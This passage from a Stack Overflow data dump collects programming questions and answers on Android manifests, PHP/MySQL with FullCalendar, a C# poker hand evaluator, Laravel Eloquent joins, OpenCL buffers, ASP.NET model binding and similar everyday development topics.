&gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name=".Main" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="tt.pp.ss.MAIN" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name=".Db" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="tt.pp.ss.DB" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name=".View" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="tt.pp.ss.VIEW" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name=".Mainevent" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="tt.pp.ss.MAINEVENT" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name=".Signup" android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="tt.pp.ss.SIGNUP" /&gt; &lt;category android:name="android.intent.category.DEFAULT" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;/application&gt; &lt;/manifest&gt; </code></pre> <p>Any help i have spent more than 5 hours and i can't figure it out.</p>
12221252	0	How pinterest type url's work <p>When we click on pinterest pin the url changes to pinterest.com/pin/[pinid] But how come it happens without full loading of the page and only the url is changed. <img src="https://i.stack.imgur.com/JVmnI.jpg" alt="enter image description here"> <img src="https://i.stack.imgur.com/LfYJk.jpg" alt="enter image description here"></p>
39541750	0	Unable to move on to next page http://indianvisa-bangladesh.nic.in/visa/Get_Appointment via httpClient 4.4 <p>Hiii Update 2: thanks 4 the help. I got the cookies now but i am stuck on the same page. I added cookie as header with request but i got the same page as response. Don't know i m doing wrong. Please guide me.</p> <pre><code>org.apache.http.impl.client.AbstractHttpClient httpclient = new org.apache.http.impl.client.DefaultHttpClient(); try { // Create a local instance of cookie store CookieStore cookieStore = new BasicCookieStore(); // Create local HTTP context HttpContext localContext = new BasicHttpContext(); // Bind custom cookie store to the local context System.out.println("Binding Cookie from Cookie Store="+this.cookies); String c=this.cookies.replaceAll("Set-Cookie: ", ""); String c1=c.replaceAll(";path=/", ""); System.out.println("c="+c1); String []ar=c1.split("="); System.out.println("a[0]="+ar[0]); System.out.println("a[1]="+ar[1]); BasicClientCookie cookie = new BasicClientCookie(ar[0], ar[1]); cookie.setDomain("indianvisa-bangladesh.nic.in"); cookie.setPath("/"); cookieStore.addCookie(cookie); httpclient.setCookieStore(cookieStore); localContext.setAttribute(ClientContext.COOKIE_STORE, cookieStore); HttpGet httpget = new HttpGet("http://indianvisa-bangladesh.nic.in/visa/Get_Appointment"); System.out.println("executing request " + httpget.getURI()); // Pass local context as a parameter HttpResponse response = httpclient.execute(httpget, localContext); HttpEntity entity = response.getEntity(); System.out.println("----------------------------------------"); System.out.println(response.getStatusLine()); if (entity != null) { System.out.println("Response content length: " + entity.getContentLength()); } List&lt;Cookie&gt; cookies = cookieStore.getCookies(); for (int i = 0; i &lt; cookies.size(); i++) { System.out.println("Local cookie: " + cookies.get(i)); } BufferedReader rd = new BufferedReader( new InputStreamReader(response.getEntity().getContent())); StringBuffer result = new StringBuffer(); String line = ""; while ((line = rd.readLine()) != null) { result.append(line); } System.out.println("Page contect="+result); // Consume response content EntityUtils.consume(entity); System.out.println("----------------------------------------"); } finally { // When HttpClient instance is no longer needed, // shut down the connection manager to ensure // immediate deallocation of all system resources //httpclient.getConnectionManager().shutdown(); } </code></pre>
15623236	0	 <p>Google has actually since added <a href="https://developers.google.com/appengine/docs/python/mail/bounce" rel="nofollow">a method for receiving bounced messages</a> via an HTTP Request. It requires adding to your app.yaml:</p> <pre><code>inbound_services: - mail_bounce </code></pre> <p>Which will cause a request to hit <code>/_ah/bounce</code> each time a bounce is received. You can then handle the bounce by adding a handler for it. See the section <a href="https://developers.google.com/appengine/docs/python/mail/bounce" rel="nofollow">there</a> on Handling Bounce Notifications for more details on how to glean the additional information from those requests.</p>
23656280	0	 <p>To insert ID value on a table just do that</p> <pre><code>SET IDENTITY_INSERT [ database. [ owner. ] ] { table } { ON | OFF } </code></pre> <p>Example your table name is People it should be</p> <pre><code>INSERT INTO People(ID,NAME) VALUES(3,'Felicio') </code></pre> <p>PS: to insert indentity value you also need to explicity the columns names and order as in previous example.</p>
31533113	0	FullCalendar, JSON array empty but working on PHP file <p>I am configuring FullCalendar with a MySQL DB, using PHP to process and return a JSON.</p> <ul> <li><strong>db-connect.php</strong> - fetches results from my Db and encodes to JSON.</li> <li><strong>get-events.php</strong> - reads JSON, converts to FullCalendar</li> <li><strong>json.html</strong> - is my front-end calendar view</li> </ul> <p>File contents below, but before reading: <code>db-connect.php</code> successfully outputs JSON that I have verified on JSONLint.</p> <pre><code>[{"title":"Test new calendar","start":"2015-07-21","end":"2015-07-22"}] </code></pre> <p><code>get-events.php</code> is successfully 'reading' <code>db-connect.php</code> as the "php/get-events.php must be running." error message on my front-end view has disappeared (shows if for example it can't establish that <code>db-connect.php</code> is in the directory, or spelling error in file name, etc).</p> <p>However when I either pass the query via <code>params</code> or check in Firebug console, the JSON array is empty.</p> <pre><code>/cal/demos/php/get-events.php?start=2015-07-01&amp;end=2015-07-31 </code></pre> <p>returns <code>[]</code> whereas my test calendar entry does fall within these parameters.</p> <p>I'm convinced it's my <code>db-connect.php</code> that is the error, but I'm scratching my head about it. Relative newbie so I'm sure it's obvious!</p> <p><strong>db-connect.php</strong></p> <pre><code>&lt;?php $db = mysql_connect("localhost:3306","root",""); if (!$db) { die('Could not connect to db: ' . mysql_error()); } mysql_select_db("test",$db); $result = mysql_query("select * from cal", $db); $json_response = array(); while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { $row_array['id'] = $row['id']; $row_array['title'] = $row['title']; $row_array['start'] = $row['start']; $row_array['end'] = $row['end']; array_push($json_response,$row_array); } echo json_encode($json_response); mysql_close($db); ?&gt; </code></pre> <p><strong>get-events.php</strong></p> <pre><code>&lt;?php // Require our Event class and datetime utilities require dirname(__FILE__) . '/utils.php'; if (!isset($_GET['start']) || !isset($_GET['end'])) { die("Please provide a date range."); } $range_start = parseDateTime($_GET['start']); $range_end = parseDateTime($_GET['end']); $timezone = null; if (isset($_GET['timezone'])) { $timezone = new DateTimeZone($_GET['timezone']); } $json = file_get_contents(dirname(__FILE__) . '/db-connect.php'); $input_arrays = json_decode($json, true); $output_arrays = array(); if (is_array($input_arrays) || is_object($input_arrays)) { foreach ($input_arrays as $array) { $event = new Event($array, $timezone); if ($event-&gt;isWithinDayRange($range_start, $range_end)) { $output_arrays[] = $event-&gt;toArray(); } } } echo json_encode($output_arrays); </code></pre>
4081286	0	 <p>The <code>DefaultControllerFactory</code> will indeed instantiate and destroy the controller instance for each request. (You can <a href="http://aspnet.codeplex.com/SourceControl/changeset/view/23011#266459" rel="nofollow">browse the source yourself</a>, or see Dino Esposito's article <a href="http://dotnetslackers.com/articles/aspnet/Inside-the-ASP-NET-MVC-Controller-Factory.aspx" rel="nofollow">Inside the ASP.NET MVC Controller Factory</a> for a tour.)</p>
17610542	0	 <p>In order to be able to use DMA, the buffers should be in page-locked memory. AMD and NVIDIA state in their programming guide that to have a buffer in page-locked memory it should be created with the CL_MEM_ALLOC_HOST_PTR flag. Here is what NVIDIA says in the section 3.3.1 of its <a href="http://hpc.oit.uci.edu/nvidia-doc/sdk-cuda-doc/OpenCL/doc/OpenCL_Programming_Guide.pdf" rel="nofollow">guide:</a></p> <blockquote> <p>OpenCL applications do not have direct control over whether memory objects are allocated in page-locked memory or not, but they can create objects using the CL_MEM_ALLOC_HOST_PTR flag and such objects are <strong>likely</strong> to be allocated in page-locked memory by the driver for best performance.</p> </blockquote> <p>Note the "likely" in bold. </p> <p>Which OS? NVIDIA doesn't speak about the OS so any OS NVIDIA provides drivers for (the same for AMD). <br/>Which Hardware? Any having DMA controller I guess.</p> <p>Now to write only a part of a buffer you could have a look to the <a href="http://www.khronos.org/registry/cl/sdk/1.2/docs/man/xhtml/clEnqueueWriteBufferRect.html" rel="nofollow">function</a>:</p> <pre><code>clEnqueueWriteBufferRect() </code></pre> <p>This function allow to write to a 2 or 3D region of a buffer. Another possibility would be to use sub buffers creating them with the <a href="http://www.khronos.org/registry/cl/sdk/1.2/docs/man/xhtml/clCreateSubBuffer.html" rel="nofollow">function</a>: </p> <pre><code>clCreateSubBuffer() </code></pre> <p>However there is no notion of 2D buffer with it.</p>
5116714	0	Egit ssh changes push & pull <p>In my office Eclipse is being used popularly and I have newly installed <code>GIT</code> and <code>Egit</code> plugin for Eclipse.<br> I'm not CVCS or DVCS user and I'm asked to install and configure Egit.<br> I could able to clone a remote projects <strong>Graphically</strong> with Egit between Ubuntu desktop systems.<br> Where I'm failing to understand is, when ever I create any folder/file under the project or update the project and after pulling (<code>R.C on project&gt;Team&gt;Pull</code>) or pushing (<code>R.C on project&gt;Team&gt;Remote&gt;Push</code>) it's says <code>Up-to-date</code>, but I could not see any newly created folders/files or updated files on the another computer.</p> <p>What's the proper way of doing push and pull after cloning the repo with Egit?<br> I'm trying in this way:</p> <ul> <li><p>Updated a project on a computer</p></li> <li><p>Did R.C on project<code>&gt;Team&gt;Add</code> and <code>Team&gt;Commit</code></p></li> <li><p>Went to Remote computer and did R.C on project><code>Team&gt;Pull</code> and got the prompt Up-to-date </p></li> <li><p>I did <code>Team&gt;Add</code> and <code>Team&gt;Commit</code> on this remote computer but I didn't see the changes which is made on the source computer.</p></li> </ul> <p>Please don't scold me as I've no much knowledge.<br> How do I do proper push and pull between two computers with Egit?.</p>
22412698	0	Optimizing hand-evaluation algorithm for Poker-Monte-Carlo-Simulation <p>I've written an equilator for Hold'em Poker as a hobbyproject. It works correctly, but there is still one thing I am not happy with: In the whole process of simulating hands, the process of evaluating the hands takes about 35% of the time. That seems to be pretty much to me compared with what else has to be done like iterating through and cloning large arrays and stuff.</p> <p>Any idea of how to get this more performant would be great.</p> <p>This is the code:</p> <pre><code> private static int getHandvalue(List&lt;Card&gt; sCards) { // --- Auf Straight / Straight Flush prüfen --- if ((sCards[0].Value - 1 == sCards[1].Value) &amp;&amp; (sCards[1].Value - 1 == sCards[2].Value) &amp;&amp; (sCards[2].Value - 1 == sCards[3].Value) &amp;&amp; (sCards[3].Value - 1 == sCards[4].Value)) { if ((sCards[0].Color == sCards[1].Color) &amp;&amp; (sCards[1].Color == sCards[2].Color) &amp;&amp; (sCards[2].Color == sCards[3].Color) &amp;&amp; (sCards[3].Color == sCards[4].Color)) return (8 &lt;&lt; 20) + (byte)sCards[0].Value; // Höchste Karte Kicker else return (4 &lt;&lt; 20) + (byte)sCards[0].Value; // Höchste Karte Kicker (Straight) } // --- Auf Wheel / Wheel Flush prüfen --- if ((sCards[4].Value == Card.CardValue.Two) &amp;&amp; (sCards[3].Value == Card.CardValue.Three) &amp;&amp; (sCards[2].Value == Card.CardValue.Four) &amp;&amp; (sCards[1].Value == Card.CardValue.Five) &amp;&amp; (sCards[0].Value == Card.CardValue.Ace)) { if ((sCards[0].Color == sCards[1].Color) &amp;&amp; (sCards[1].Color == sCards[2].Color) &amp;&amp; (sCards[2].Color == sCards[3].Color) &amp;&amp; (sCards[3].Color == sCards[4].Color)) return(8 &lt;&lt; 20) + (byte)sCards[1].Value; // Zweithöchste Karte Kicker else return(4 &lt;&lt; 20) + (byte)sCards[1].Value; // Zweithöchste Karte Kicker (Straight) } // --- Auf Flush prüfen --- if ((sCards[0].Color == sCards[1].Color) &amp;&amp; (sCards[1].Color == sCards[2].Color) &amp;&amp; (sCards[2].Color == sCards[3].Color) &amp;&amp; (sCards[3].Color == sCards[4].Color)) return (5 &lt;&lt; 20) + ((byte)sCards[0].Value &lt;&lt; 16) + ((byte)sCards[1].Value &lt;&lt; 12) + ((byte)sCards[2].Value &lt;&lt; 8) + ((byte)sCards[3].Value &lt;&lt; 4) + (byte)sCards[4].Value; // --- Auf Vierling prüfen --- if (((sCards[0].Value == sCards[1].Value) &amp;&amp; (sCards[1].Value == sCards[2].Value) &amp;&amp; (sCards[2].Value == sCards[3].Value)) || ((sCards[1].Value == sCards[2].Value) &amp;&amp; (sCards[2].Value == sCards[3].Value) &amp;&amp; (sCards[3].Value == sCards[4].Value))) return (7 &lt;&lt; 20) + (byte)sCards[1].Value; // Wert des Vierlings (keine Kicker, da nicht mehrere Spieler den selben Vierling haben können) // --- Auf Full-House / Drilling prüfen --- // Drilling vorne if ((sCards[0].Value == sCards[1].Value) &amp;&amp; (sCards[1].Value == sCards[2].Value)) { // Full House if (sCards[3].Value == sCards[4].Value) return (6 &lt;&lt; 20) + ((byte)sCards[0].Value &lt;&lt; 4) + (byte)sCards[3].Value; // Drilling (höher bewerten) // Drilling return (3 &lt;&lt; 20) + ((byte)sCards[0].Value &lt;&lt; 8) + ((byte)sCards[3].Value &lt;&lt; 4) + (byte)sCards[4].Value; // Drilling + Kicker 1 + Kicker 2 } // Drilling hinten if ((sCards[2].Value == sCards[3].Value) &amp;&amp; (sCards[3].Value == sCards[4].Value)) { // Full House if (sCards[0].Value == sCards[1].Value) return (6 &lt;&lt; 20) + ((byte)sCards[2].Value &lt;&lt; 4) + (byte)sCards[0].Value; // Drilling (höher bewerten) // Drilling return (3 &lt;&lt; 20) + ((byte)sCards[2].Value &lt;&lt; 8) + ((byte)sCards[0].Value &lt;&lt; 4) + (byte)sCards[1].Value; // Drilling + Kicker 1 + Kicker 2 } // Drilling mitte if ((sCards[1].Value == sCards[2].Value) &amp;&amp; (sCards[2].Value == sCards[3].Value)) return (3 &lt;&lt; 20) + ((byte)sCards[1].Value &lt;&lt; 8) + ((byte)sCards[0].Value &lt;&lt; 4) + (byte)sCards[4].Value; // Drilling + Kicker 1 + Kicker 2 // --- Auf Zwei Paare prüfen --- // Erstes Paar vorne, zweites Paar mitte if ((sCards[0].Value == sCards[1].Value) &amp;&amp; (sCards[2].Value == sCards[3].Value)) return (2 &lt;&lt; 20) + ((byte)sCards[0].Value &lt;&lt; 8) + ((byte)sCards[2].Value &lt;&lt; 4) + (byte)sCards[4].Value; // Erstes Paar + Zweites Paar + Kicker // Erstes Paar vorne, zweites Paar hinten if ((sCards[0].Value == sCards[1].Value) &amp;&amp; (sCards[3].Value == sCards[4].Value)) return (2 &lt;&lt; 20) + ((byte)sCards[0].Value &lt;&lt; 8) + ((byte)sCards[3].Value &lt;&lt; 4) + (byte)sCards[2].Value; // Erstes Paar + Zweites Paar + Kicker // Erstes Paar mitte, zweites Paar hinten if ((sCards[1].Value == sCards[2].Value) &amp;&amp; (sCards[3].Value == sCards[4].Value)) return (2 &lt;&lt; 20) + ((byte)sCards[1].Value &lt;&lt; 8) + ((byte)sCards[3].Value &lt;&lt; 4) + (byte)sCards[0].Value; // Erstes Paar + Zweites Paar + Kicker // --- Auf Paar prüfen --- // Paar vorne if (sCards[0].Value == sCards[1].Value) return (1 &lt;&lt; 20) + ((byte)sCards[0].Value &lt;&lt; 12) + ((byte)sCards[2].Value &lt;&lt; 8) + ((byte)sCards[3].Value &lt;&lt; 4) + (byte)sCards[4].Value; // Paar + Kicker 1 + Kicker 2 + Kicker 3 // Paar mitte-vorne if (sCards[1].Value == sCards[2].Value) return (1 &lt;&lt; 20) + ((byte)sCards[1].Value &lt;&lt; 12) + ((byte)sCards[0].Value &lt;&lt; 8) + ((byte)sCards[3].Value &lt;&lt; 4) + (byte)sCards[4].Value; // Paar + Kicker 1 + Kicker 2 + Kicker 3 // Paar mitte-hinten if (sCards[2].Value == sCards[3].Value) return (1 &lt;&lt; 20) + ((byte)sCards[2].Value &lt;&lt; 12) + ((byte)sCards[0].Value &lt;&lt; 8) + ((byte)sCards[1].Value &lt;&lt; 4) + (byte)sCards[4].Value; // Paar + Kicker 1 + Kicker 2 + Kicker 3 // Paar hinten if (sCards[3].Value == sCards[4].Value) return (1 &lt;&lt; 20) + ((byte)sCards[3].Value &lt;&lt; 12) + ((byte)sCards[0].Value &lt;&lt; 8) + ((byte)sCards[1].Value &lt;&lt; 4) + (byte)sCards[2].Value; // Paar + Kicker 1 + Kicker 2 + Kicker 3 // --- High Card bleibt übrig --- return ((byte)sCards[0].Value &lt;&lt; 16) + ((byte)sCards[1].Value &lt;&lt; 12) + ((byte)sCards[2].Value &lt;&lt; 8) + ((byte)sCards[3].Value &lt;&lt; 4) + (byte)sCards[4].Value; // High Card + Kicker 1 + Kicker 2 + Kicker 3 + Kicker 4 } </code></pre> <p>This method returns an exact value for every sorted 5-Card-Combination in poker. It gets called by another method:</p> <pre><code> private static int getHandvalueList(List&lt;Card&gt; sCards) { int count = sCards.Count; if (count == 5) return getHandvalue(sCards); int HighestValue = 0; Card missingOne; int tempValue; for (int i = 0; i &lt; count - 1; i++) { missingOne = sCards[i]; sCards.RemoveAt(i); tempValue = getHandvalueList(sCards); if (tempValue &gt; HighestValue) HighestValue = tempValue; sCards.Insert(i, missingOne); } missingOne = sCards[count - 1]; sCards.RemoveAt(count - 1); tempValue = getHandvalueList(sCards); if (tempValue &gt; HighestValue) HighestValue = tempValue; sCards.Add(missingOne); return HighestValue; } </code></pre> <p>This recursive method returns the highest value of all possible 5-card-combinations. And this one gets called by the final public method:</p> <pre><code> public static int GetHandvalue(List&lt;Card&gt; sCards) { if (sCards.Count &lt; 5) return 0; sCards.Sort(new ICardComparer()); return getHandvalueList(sCards); } </code></pre> <p>It gets delivered a maximum of 7 cards.</p> <p><strong>Update</strong></p> <p>So far: Each time, the public function gets called with 7 cards (which is the case most of the time), it has to call the hand-evaluation method 21 times (one time for every possible 5-card-combo).</p> <p>I thought about caching the value for each possible set of 5 to 7 cards in a hashtable und just look it up. But if I am not wrong, it would have to store more than 133.784.560 32-bit-integer values, which is about 500MB.</p> <p>What could be good hashfunction to assign every possible combination to exactly one arrayindex?</p> <p>Created a new question on that: <a href="http://stackoverflow.com/questions/22477192/hashfunction-to-map-combinations-of-5-to-7-cards">Hashfunction to map combinations of 5 to 7 cards</a></p> <p>Update: For further improvement regarding the accepted answer, have alook at: <a href="http://stackoverflow.com/questions/39317649/efficient-way-to-randomly-select-set-bit">Efficient way to randomly select set bit</a></p>
27426305	0	Edmodo android image cropper, fix aspect ratio <p>I've some problem using edmodo/cropper library on android lollipop. My app should take some pictures, and after each picture is taken, user should crop a square image. this is my layout:</p> <pre><code>&lt;RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android" android:layout_width="match_parent" android:layout_height="match_parent" &gt; &lt;com.example.newapicamera.AutoFitTextureView android:id="@+id/texture" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_above="@+id/footer" /&gt; &lt;com.edmodo.cropper.CropImageView xmlns:custom="http://schemas.android.com/apk/res-auto" android:id="@+id/CropImageView" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_above="@+id/footer" android:visibility="invisible" /&gt; &lt;ImageView android:id="@+id/footer" android:layout_width="match_parent" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:src="@drawable/footer" /&gt; &lt;TextView android:id="@+id/current_picture" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:layout_alignParentLeft="true" android:textColor="#FFFFFF" android:textSize="30sp" /&gt; </code></pre> <p></p> <p>and this is how i launch library for crop after picture is taken;</p> <pre><code>crop_view.setImageBitmap(bitmap); mCameraDevice.close(); mTextureView.setVisibility(View.INVISIBLE); crop_view.setVisibility(View.VISIBLE); DisplayMetrics displayMetrics = getResources().getDisplayMetrics(); int dpWidth = displayMetrics.widthPixels; crop_view.setFixedAspectRatio(true); crop_view.setAspectRatio(dpWidth, dpWidth); </code></pre> <p>I have the sequent problem:</p> <ul> <li>with this code, the crop is a stripe high as screen</li> <li>if i remove fixed aspect ratio, the aspect ratio i've is ignored, and i obtain a rectangular crop. So, how can i do to force crop to a square?</li> </ul>
17238438	0	Simple SQL to Eloquent Query (Laravel) <p>I have two tables: users (Users) and groups (Groups).</p> <pre><code> Users ----------------- id | username | group 1 | Bob | 2 Groups ----------------- id | name 1 | firstgroup 2 | secondgroup </code></pre> <p>I would like to display: users.ID, users.username, group.name (1, Bob, secondgroup) An SQL statement like so would work:</p> <pre><code>SELECT Users.id, Users.username, Groups.name FROM Users INNER JOIN Groups ON Groups.id = Users.group </code></pre> <p>However, I'm struggling to write this in Eloquent, since there is no "FROM". At the moment I'm going for something along the lines of the below, using JOINS (<a href="http://laravel.com/docs/queries#joins" rel="nofollow">http://laravel.com/docs/queries#joins</a>)</p> <pre><code>$users = Users::select('id','username', 'Groups.name')-&gt;joins('Groups.id', '=', 'id')-&gt;get(); </code></pre> <p>Now this isn't working - I think the joins has to come before the select but I just can't work it out :(</p>
26658476	0	 <p>The <code>ssl_protocol</code> parameter is part of the <code>Apache::Vhost</code> defined type. Not part of the <code>apache</code> class.</p> <p>You can set the defaults with the following:</p> <pre><code> Apache::Vhost { ssl_protocol =&gt; 'all -SSLv2 -SSLv3' } </code></pre> <p>Hope this helps.</p>
16825643	0	 <p>did you try:</p> <pre><code>animation-direction:alternate; -webkit-animation-direction:alternate; /* Safari and Chrome */ </code></pre> <p>very nice effects BTW :)</p>
10652262	0	 <p>Straight from Phonegap website -</p> <blockquote> <p>PhoneGap is an HTML5 app platform that allows you to author native applications with web technologies and get access to APIs and app stores.</p> </blockquote> <p>What this means is it is not browser dependent. The code compiles to native application. You don't need a browser to run it.</p>
17192485	0	 <p>There have been numerous posts on here about trying to do OCR on camera generated images. The problem is not that the resolution is too low, but that its too high. I cannot find a link right now, but there was a question a year or so ago where in the end, if the image size was reduced by a factor of four or so, the OCR engine worked better. If you examine the image in Preview, what you want is the number of pixels per character to be say 16x16 or 32x32, not 256x256. Frankly I don't know the exact number but I'm sure you can research this and find posts from actual framework users telling you the best size.</p> <p><a href="http://stackoverflow.com/a/7775470/1633251">Here is a nice response</a> on how to best scale a large image (with a link to code).</p>
10783338	0	 <p>You could add a Textbox for each message which would allow you to have more control over the positioning. But a non-clickable Listbox would be good too. in the end it's your artistic choice</p>
2790016	0	 <p>The code language of classic ASP is VBScript, so you have to make do with the error handling capabilities of that language, by using the "On Error ..." construct. You need to decide on whether to make a general error handler or insert some specific error handling logic for the SQL calls.</p> <p>These are your options for error handling: </p> <pre><code>On Error Goto 0 ' Turns off error trapping. This is most likely what you got now On Error Resume Next ' In case of error, simply execute next statement. Not recommended ! On Error Goto &lt;label&gt; ' Go to the specified label on an Error. </code></pre> <p>If you use On Error Goto ..., The Err object will contain error information. This means you should be able to write somehting like:</p> <pre><code>On Error Goto errorHandler ' Your code here. errorHandler: ' Handle the error somehow. Perhaps log it and redirect to a prettier error page. Response.Write Err.Number Response.Write Err.Description </code></pre>
33006821	0	How to use caching mechanism in android for httprequest <p>I am working on an android application in which i want to use caching mechanism for httpurlrequest. I want to cache the response and want to use again for next request.</p> <p>So, in android how to cache the response and how to use it next time when we do the same request.</p> <p>Any working example would be great for me.</p> <p>How to check whether response is from cache or from server?</p> <p>How to check whether cache is available for the particular request.</p> <p>PS: there is no any support of cache from server side. i.e sever doesn't send any 'Cache-Control' header field in response.</p> <p>Thanks,</p>
18195600	0	 <p>Seems you forgot to add the html code</p> <p>From the code you have provided, I can only assume you should write this:</p> <pre><code>if ( Image_Number &gt; 0 ) { $("html_item_that_contains_image").fadeOut(); document.my_imagearray.src = Image[Image_Number]; $("html_item_that_contains_image").fadeIn(); } </code></pre>
20589885	0	How to launch the normal function in jquery <p>I have some links to launch ajax.</p> <pre><code>&lt;a href="javascript:void(0)" onclick="artClick(1)"&gt;1&lt;/a&gt;&lt;br&gt; &lt;a href="javascript:void(0)" onclick="artClick(2)"&gt;2&lt;/a&gt;&lt;br&gt; &lt;a href="javascript:void(0)" onclick="artClick(3)"&gt;3&lt;/a&gt;&lt;br&gt; . . </code></pre> <p>These links are made by script so I cant use #id.</p> <p>my javascript is this </p> <pre><code>function artClick(id){ $.post(url, { id:id },function(data){ }); } </code></pre> <p>but it doesnt work. I think I should use</p> <pre><code>$(document).ready(function() { }); </code></pre> <p>But if I put the function in this,nothing changes.</p> <p>I want to know the good way to handle the multiple links and ajax.</p>
34396151	1	Place in a file from drop down list <p>How would you find out the position in a text file of an option selected from a drop down box? I have got a text file of different values stored on new lines. I then load this into an array which forms the values of a drop down box. I would like to know the line position of the value selected by the user. My code so far is included below. </p> <pre><code>from tkinter import * class search(): def __init__ (self, master): self.master = master self.master.title("Search For Quotes Screen") self.master.geometry("2100x1400") self.master.configure(background = 'white') self.master.configure(background = "white") self.Title = Label(self.master, text = "Quote Retrieval", font = ("calibri", 20), bg = "White") self.Title.place(x=650, y = 10) array=[]#initialises array with open('PostCode_File.txt', 'r') as f:# opens name of your file array= [line.strip() for line in f]#puts values of file in array. each line = one part of array f.close() Option = StringVar() Option.set("Please select postcode of quote") self.options = OptionMenu(self.master, Option, *array)#creates drop down menu self.options.config(bg = 'navy', fg='white', font =('calibri', 20)) self.options["menu"].config(bg="Navy", font=('calibri', 13), fg= 'white') self.options.place(x=100, y=100) print( self.options.get()) </code></pre> <p>I have noticed a drop down box doesn't have the function like a text entry box or maybe im using it wrong. Any help would be appreciated. </p>
4615607	0	 <p>Famous <a href="http://www.bitstorm.org/gameoflife/" rel="nofollow">Game of Life</a> seems to be a good idea. Cells are persistence units, JSF, web beans + ejb to display the working area, scheduled beans - to put it in motion. Game's logic can be implemented in EJB or JMS (or even both). You could extend original logic, introduce new objects or rules and finally get Nobel prize for achievements in social modeling :)</p>
4552355	0	How can we get unique elements from any ORDER BY DECREASING OR INCREASING <p>Code given below is taken from the stackoverflow.com !!! Can anyone tell me how to get the array elements order by decreaseing or increasing !! plz help me !!! Thanks in advance</p> <pre><code>$contents = file_get_contents($htmlurl); // Get rid of style, script etc $search = array('@&lt;script[^&gt;]*?&gt;.*?&lt;/script&gt;@si', // Strip out javascript '@&lt;head&gt;.*?&lt;/head&gt;@siU', // Lose the head section '@&lt;style[^&gt;]*?&gt;.*?&lt;/style&gt;@siU', // Strip style tags properly '@&lt;![\s\S]*?--[ \t\n\r]*&gt;@' // Strip multi-line comments including CDATA ); $contents = preg_replace($search, '', $contents); $result = array_count_values( str_word_count( strip_tags($contents), 1 ) ); print_r($result); </code></pre>
741437	0	 <p>Add @Key(types=String.class) @Value(types=String.class)</p> <p>since "Properties" is a bit of a hack in that it can also contain non-String, and doesn't allow generic specification so you need to restrict it. The next version of AppEngine will have a version of DataNucleus that doesn't require this additional info.</p>
14933797	0	ASP.NET Web Forms (4.5) Strongly Typed Model Binding - DropDownList in InsertItemTemplate of ListView <p><strong>Note: This is ASP.NET Web Forms Model Binding in .NET 4.5 and NOT MVC.</strong></p> <p>I am using the new Strongly Typed Model Binding features of ASP.NET Web Forms (4.5) to produce a list of items that can be edited. This is working fine for viewing the initial list, editing an item and deleting an item. I am however having a problem with the insertion of a new item.</p> <p>Specifically, within my EditItemTemplate and InsertItemTemplate I have a DropDownList (well, actually it is a custom control derived from DropDownList but for the purposes of this question it is a DropDownList). The control is defined within the markup as follows...</p> <pre><code>&lt;agp:ClientStatusDropDownList ID="ClientStatusID" runat="server" SelectedValue="&lt;%#: BindItem.ClientStatusID %&gt;" /&gt; </code></pre> <p>Within the EditItemTemplate, this is fine however within the InsertItemTemplate this generates an error upon running the page: <em>Databinding methods such as Eval(), XPath(), and Bind() can only be used in the context of a databound control.</em></p> <p>As such, I removed the section <code>SelectedValue="&lt;%#: BindItem.ClientStatusID %&gt;"</code> from the InsertItemTemplate and tried again. This time no error message, however when the <code>ListView.InsertMethod</code> is called, the ClientStatusID property on the model is not set to the value of the DropDownList (whereas the rest of the properties are set correctly).</p> <p>The ListView.InsertMethod:</p> <pre><code>public void ListView_InsertMethod(int ID) { Model model = this.DbContext.Models.Create(); if (this.TryUpdateModel(model)) { this.DbContext.SaveChanges(); this.ListView.DataBind(); } } </code></pre> <p>The Model class:</p> <pre><code>public class Model{ public Int32 ID { get; set; } public String Description { get; set; } public Boolean IsScheduleFollowUp { get; set; } public Nullable&lt;Int32&gt; ClientStatusID { get; set; } } </code></pre> <p>The EditItemTemplate:</p> <pre><code>&lt;EditItemTemplate&gt; &lt;tr&gt; &lt;td&gt; &lt;asp:TextBox ID="Description" runat="server" Text="&lt;%#: BindItem.Description %&gt;" /&gt; &lt;/td&gt; &lt;td&gt; &lt;asp:CheckBox ID="IsScheduleFollowUp" runat="server" Checked="&lt;%# BindItem.IsScheduleFollowUp %&gt;" /&gt; &lt;/td&gt; &lt;td&gt; &lt;agp:ClientStatusDropDownList ID="ClientStatusID" runat="server" SelectedValue="&lt;%#: BindItem.ClientStatusID %&gt;" /&gt; &lt;/td&gt; &lt;td&gt; &lt;asp:Button ID="Update" runat="server" ClientIDMode="Static" CommandName="Update" Text="Update" /&gt; &lt;asp:Button ID="Cancel" runat="server" ClientIDMode="Static" CommandName="Cancel" Text="Cancel" /&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/EditItemTemplate&gt; </code></pre> <p>The InsertItemTemplate:</p> <pre><code>&lt;InsertItemTemplate&gt; &lt;tr&gt; &lt;td&gt; &lt;asp:TextBox ID="Description" runat="server" Text="&lt;%#: BindItem.Description %&gt;" /&gt; &lt;/td&gt; &lt;td&gt; &lt;asp:CheckBox ID="IsScheduleFollowUp" runat="server" Checked="&lt;%# BindItem.IsScheduleFollowUp %&gt;" /&gt; &lt;/td&gt; &lt;td&gt; &lt;agp:ClientStatusDropDownList ID="ClientStatusID" runat="server" 